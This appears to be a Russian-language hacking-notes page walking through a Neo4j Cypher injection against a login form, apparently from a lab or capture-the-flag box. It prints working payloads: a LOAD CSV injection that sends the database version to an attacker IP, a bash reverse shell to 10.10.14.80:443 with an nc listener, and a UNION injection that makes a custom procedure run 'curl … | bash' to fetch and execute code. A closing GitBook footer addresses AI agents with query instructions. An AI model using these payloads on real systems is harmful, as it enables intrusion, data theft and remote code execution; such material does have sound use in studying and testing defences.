> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Инъекция Cypher Neo4j

## Инъекция Neo4j Cypher

Форма входа уязвима. Ошибка появляется, когда мы вводим `'`.

<figure><img src="/files/402e1a43641d4a150d4634a42e24222a37539687" alt=""><figcaption></figcaption></figure>

Мы внедрили Cypher-пейлоад, чтобы получить версию Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="/files/246936b3e4b6654a811e9a058084a2d4f2363e1b" alt=""><figcaption></figcaption></figure>

На нашем сервере запрос принимается:

```bash
python3 -m http.server 80
# Инъекция Neo4j Cypher

```

<figure><img src="/files/b9959bd643a8c9c4d0805f7ee0df31660b70e094" alt=""><figcaption></figcaption></figure>

### RCE через вызов `custom.getUrlStatusCode()`

<figure><img src="/files/8add5dfda71313d549bdbf17bbd1c98d18a215ae" alt=""><figcaption></figcaption></figure>

Мы помещаем обратную оболочку в `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

Мы помещаем обратную оболочку в `index.html`:

```bash
nc -nlvp 443

```

Используйте объединённую инъекцию, чтобы вызвать это **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //", 
  "password": "test"
}

```

<figure><img src="/files/d93e61838e89e78de732b2c7ebd5e63f051712b0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
